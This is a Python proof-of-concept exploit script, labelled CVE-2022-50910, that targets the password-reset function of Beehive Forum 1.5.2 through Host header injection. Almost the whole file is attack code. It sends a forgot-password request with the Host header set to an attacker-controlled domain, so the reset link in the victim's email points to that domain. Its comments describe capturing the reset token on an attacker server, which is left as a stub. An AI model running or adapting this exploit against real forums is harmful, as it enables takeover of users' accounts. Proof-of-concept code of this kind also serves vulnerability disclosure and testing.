CVE-2022-50910

# CVE-2022-50910 Beehive Forum Host Header Injection PoC # Target: Beehive Forum 1.5.2 - Password Reset Function # Vulnerability: Host Header Injection in forgot password functionality import requests import argparse def exploit_host_header_injection(target_url, attacker_domain): """ Exploit Host Header Injection in Beehive Forum password reset Args: target_url: Base URL of the vulnerable Beehive Forum instance attacker_domain: Attacker's controlled domain to receive reset tokens """ # Target the forgot password endpoint forgot_password_url = f"{target_url}/forgot_password.php" # Payload: Inject malicious Host header headers = { 'Host': attacker_domain, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Content-Type': 'application/x-www-form-urlencoded', } # Form data with victim email data = { 'email': '[email protected]', 'submit': 'Submit' } print(f"[*] Sending malicious request to: {forgot_password_url}") print(f"[*] Injected Host header: {attacker_domain}") try: response = requests.post( forgot_password_url, headers=headers, data=data, allow_redirects=False, timeout=10 ) print(f"[+] Request sent successfully") print(f"[+] Status Code: {response.status_code}") # The password reset email will be sent to victim # but the reset link will point to attacker_domain # Attacker's server should capture the reset token from the URL return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def setup_attacker_server(port=8080): """ Simple HTTP server to capture password reset tokens Run this on attacker-controlled domain """ # In real attack, set up a server to log incoming requests # The reset URL will be like: # http://attacker_domain/reset_password.php?token=XXX pass if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2022-50910 PoC') parser.add_argument('--target', required=True, help='Target Beehive Forum URL') parser.add_argument('--attacker', required=True, help='Attacker controlled domain') args = parser.parse_args() exploit_host_header_injection(args.target, args.attacker)

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